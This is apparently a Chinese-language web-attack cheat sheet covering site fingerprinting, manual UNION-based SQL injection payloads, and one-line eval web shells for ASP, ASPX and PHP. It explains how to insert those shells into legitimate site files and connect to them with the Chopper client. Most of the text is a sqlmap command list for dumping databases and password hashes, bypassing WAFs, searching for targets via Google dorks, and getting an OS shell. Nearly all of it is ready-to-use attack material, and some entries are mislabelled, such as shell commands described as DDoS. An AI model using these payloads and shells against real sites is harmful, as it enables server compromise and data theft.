网站漏洞检测-攻与防
1.收集信息
网站指纹识别平台
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/
漏洞发布平台
https://www.exploit-db.com/
2.根据网站指纹识别的结果,查看系统版本及解决方案
2.1 dedecms系统
http://www.xxx.com/url/data/admin/ver.txt
2.2 SeaCMS v6.54和v6.55 前台Getshell 代码执行漏洞分析(附批量getshell脚本)
https://bbs.ichunqiu.com/thread-35140-1-1.html
2.3
3.后台扫描工具
御剑后台扫描、
4.SQL语句猜解
4.1 查看返回信息的对应位置
1' and 1=2 union select 1,2,3 --
4.2 查看数据库的数据库名,账户名,版本信息
1' and 1=2 union select database(),user(),version --
4.3 获取操作系统的信息
1' and 1=2 union select 1,2,@@global.version_compile_os from mysql.user --
4.4 获取mysql数据库所有数据库的名字
1' and 1=2 union select 1,2,schema_name from information_schema.schemata --
4.5 猜解表名,看是否存在users表
1' and exists(select * from users)
5.一句话+菜刀连接
1)学习一句话木马
2)学习菜刀的使用
## 【实验原理】
菜刀的主要功能是用来连接一句话木马的,asp、aspx、php的一句话菜刀都可以连,只是这几种一句话语句不一样。
6.1 asp的一句话是:<%eval request(“pass”)%>
6.2 aspx的一句话是:`<%@ Page Language=”Jscript”%>`
`<%eval(Request.Item["pass"],”unsafe”);%>`
6.3 php的一句话是:`<?php @eval($_POST['pass']);?>`
这几个一句话的密码都是pass,也就是双引号或者单引号包含着的这部分,例如把asp的一句话的密码改成drvfan,那么改完之后就是这样的:
`<%eval request(“drvfan”)%>`
其他同理。
连接一句话木马,首先得把这个一句话插入到一个正常的网站文件中,asp的一句话插入到asp文件里,aspx的一句话插入到aspx文件里,php同理。
也可以把一句话单独写在一个文件里,比如新建了一个php文件,这个php文件的全部内容就只有一个一句话,也是可以的。
插入了一句话木马,下面就是连接了。
6.sqlmap使用
1.列出数据库:
sqlmap.py -u 存在注入的URL地址 --dbs
sqlmap.py -u "http://www.test.com/route.php?act=register" --dbs
2.指定数据库,列出表名:
sqlmap.py -u 存在注入的URL地址 -D 数据库名 --tables
sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" --tables
3.指定数据库、表名,列出字段(列名):
sqlmap.py -u 存在注入的URL地址 -D 数据库名 -T 表名 --columns
sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" -T "table" --columns
4.爆字段内容并保存(dump)
sqlmap.py -u 存在注入的URL地址 -D 数据库名 -T 表名 -C 列名 --dump
sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" -T "table" -C "column1,column2..." --dump
5.爆字段内容并保存(多线程,指定行)--start:指定开始的行,--stop:指定结束的行,--threads:指定多线程数量
sqlmap.py -u 存在注入的URL地址 -D 数据库名 -T 表名 -C 列名1,列名2 --dump --threads=10 --start=1 --stop=3
sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" -T "table" -C "column1,column2..." --dump --threads=10 --start=1 --stop=3
6.跳过询问语句
sqlmap.py -u 存在注入的URL地址 --batch
sqlmap.py -u "http://www.test.com/route.php?act=register" --batch
7.web当前使用的数据库
sqlmap.py -u 存在注入的URL地址 --current-db
sqlmap.py -u "http://www.test.com/route.php?act=register" --current-db
8.web数据库使用账户
sqlmap.py -u 存在注入的URL地址 --current-user
sqlmap.py -u "http://www.test.com/route.php?act=register" --current-user
9.列出sqlserver所有用户
sqlmap.py -u 存在注入的URL地址 --users
sqlmap.py -u "http://www.test.com/route.php?act=register" --users
10.数据库账户与密码
sqlmap.py -u 存在注入的URL地址 --passwords
sqlmap.py -u "http://www.test.com/route.php?act=register" --passwords
11.判断当前用户是不是DBA
sqlmap.py -u 存在注入的URL地址 --is-dba
sqlmap.py -u "http://www.test.com/route.php?act=register" --is-dba
12.查看当前权限
sqlmap.py -u 存在注入的URL地址 --privileges
sqlmap.py -u "http://www.test.com/route.php?act=register" --privileges
13.写web shell
sqlmap.py -u 存在注入的URL地址 --os-shell
sqlmap.py -u "http://www.test.com/route.php?act=register" --os-shell
14.用于mysql中DDOS攻击
sqlmap.py -u 存在注入的URL地址 --os-shell
sqlmap.py -u "http://www.test.com/route.php?act=register" --sql-shell
15.Google搜索注入
sqlmap.py -g inurl:php?id=
python2 sqlmap.py -g inurl:php?id=
16.sqlmap中的请求延迟
sqlmap.py -u 存在注入的URL地址 --dbs --delay 1
sqlmap.py -u "http://www.test.com/route.php?act=register" --dbs --safe-freq 3
17.sqlmap绕过WAF防火墙
sqlmap.py -u 存在注入的URL地址 --dbs -v3 --batch --tamper "space2morehash.py"
space2morehash.py中可以替换为space2hash.py或者base64encode.py或者charencode.py都是编码方式
sqlmap.py -u "http://www.test.com/route.php?act=register" --dbs -v3 --batch --tamper "space2morehash.py"
18.注入点执行命令与交互写shell
sqlmap.py -u 存在注入的URL地址 --os-cmd=ipconfig sqlmap.py -u "http://www.test.com/route.php?act=register" --os-cmd=ipconfig
sqlmap.py -u 存在注入的URL地址 --os-shell sqlmap.py -u "http://www.test.com/route.php?act=register" --os-shell
19.从数据库中搜索字段column1,column2
sqlmap.py -u 存在注入的URL地址 -D "database" --search -C "column1,column2"
sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" --search -C "column1,column2"
20.用于mysql中DDOS攻击
sqlmap.py -u 存在注入的URL地址 --os-shell s
qlmap.py -u "http://www.test.com/route.php?act=register" --sql-shell
Post注入三种方式
方式一:
用Burp抓包,然后保存抓取到的内容。
例如:保存为post.txt,然后把它放至某个目录下 sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs
方式二:
自动搜索表单的方式
sqlmap.py -u "http://www.test.com/authserver/login" --forms
方式三:
指定参数注入
sqlmap.py -u "http://www.test.com/route.php?act=register" --data "p1=1&p2=2&p3=3" -p "p1,p2" --dbs
sqlmap详细命令:
•-is-dba 当前用户权限(是否为root权限)
•-dbs 所有数据库
•-current-db 网站当前数据库
•-users 所有数据库用户
•-current-user 当前数据库用户
•-random-agent 构造随机user-agent
•-passwords 数据库密码
•-proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
•-time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
Request(请求): 这些选项可以用来指定如何连接到目标URL。
•-data=DATA 通过POST发送的数据字符串
•-cookie=COOKIE HTTP Cookie头
•-cookie-urlencode URL 编码生成的cookie注入
•-drop-set-cookie 忽略响应的Set – Cookie头信息
•-user-agent=AGENT 指定 HTTP User – Agent头
•-random-agent 使用随机选定的HTTP User – Agent头
•-referer=REFERER 指定 HTTP Referer头
•-headers=HEADERS 换行分开,加入其他的HTTP头
•-auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
•-auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
•-auth-cert=ACERT HTTP认证证书(key_file,cert_file)
•-proxy=PROXY 使用HTTP代理连接到目标URL
•-proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
•-ignore-proxy 忽略系统默认的HTTP代理
•-delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
•-timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
•-retries=RETRIES 连接超时后重新连接的时间(默认3)
•-scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
•-safe-url=SAFURL 在测试过程中经常访问的url地址
•-safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
更多请访问:https://www.cnblogs.com/ichunqiu/p/5805108.html